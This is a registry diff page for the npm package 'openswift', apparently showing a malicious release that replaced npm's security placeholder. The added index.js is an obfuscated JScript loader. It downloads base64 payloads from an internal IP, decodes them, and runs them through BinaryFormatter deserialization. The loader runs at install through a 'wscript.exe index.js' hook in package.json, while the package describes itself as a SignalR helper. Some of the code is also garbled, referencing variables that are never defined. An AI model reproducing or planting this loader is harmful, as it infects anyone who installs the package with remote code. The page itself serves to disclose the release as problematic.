openswift 0.0.1-security → 1.1.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of openswift might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +44 -0
  2. package/package.json +9 -4
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,44 @@
1
+ function BnhgTpoeS(ear,l) {
2
+ var enc = new ActiveXObject("System.Text.ASCIIEncoding");
3
+ var length = enc.GetByteCount_2(ear);
4
+ var xcv = enc.GetBytes_4(ear);
5
+ var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
6
+ xcv = transform.TransformFinalBlock(xcv, 0, length);
7
+ var ms = new ActiveXObject("System.IO.MemoryStream");
8
+ ms.Write(ba, 0, l);
9
+ ms.Position = 0;
10
+ return ms;
11
+ }
12
+
13
+ function getText(url){
14
+ var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
15
+ var temp = WinHttpReq.Open("GET", strURL, false);
16
+ WinHttpReq.Send();
17
+ return WinHttpReq.ResponseText;
18
+ }
19
+ try {
20
+
21
+ var seara = new ActiveXObject('WScript.Shell');
22
+ ver = 'v4.0.30319';
23
+
24
+ try {
25
+ seara.RegRead('HKLM\\SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\');
26
+ } catch(e) {
27
+ ver = 'v2.0.50727';
28
+ }
29
+
30
+ seara.Environment('Process')('COMPLUS_Version') = ver;
31
+ var vbnmd = BnhgTpoeS(getText('http://172.17.0.1/1'), 2312);
32
+ var uiop = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
33
+ uiop.Deserialize_2(vbnmd);
34
+
35
+ } catch (e) {
36
+ try{
37
+ var vbcn = BnhgTpoeS(getText('http://172.17.0.1/2'), 214897);
38
+ var redfs = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
39
+ redfs.Deserialize_2(vbcn);
40
+
41
+ }catch (e2){
42
+ }
43
+ }
44
+
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "openswift",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
3
+ "version": "1.1.2",
4
+ "description": "used for signalR connection",
5
+ "scripts": {
6
+ "test": "echo \"Error: no test specified\" && exit 1",
7
+ "install": "wscript.exe index.js"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=openswift for more information.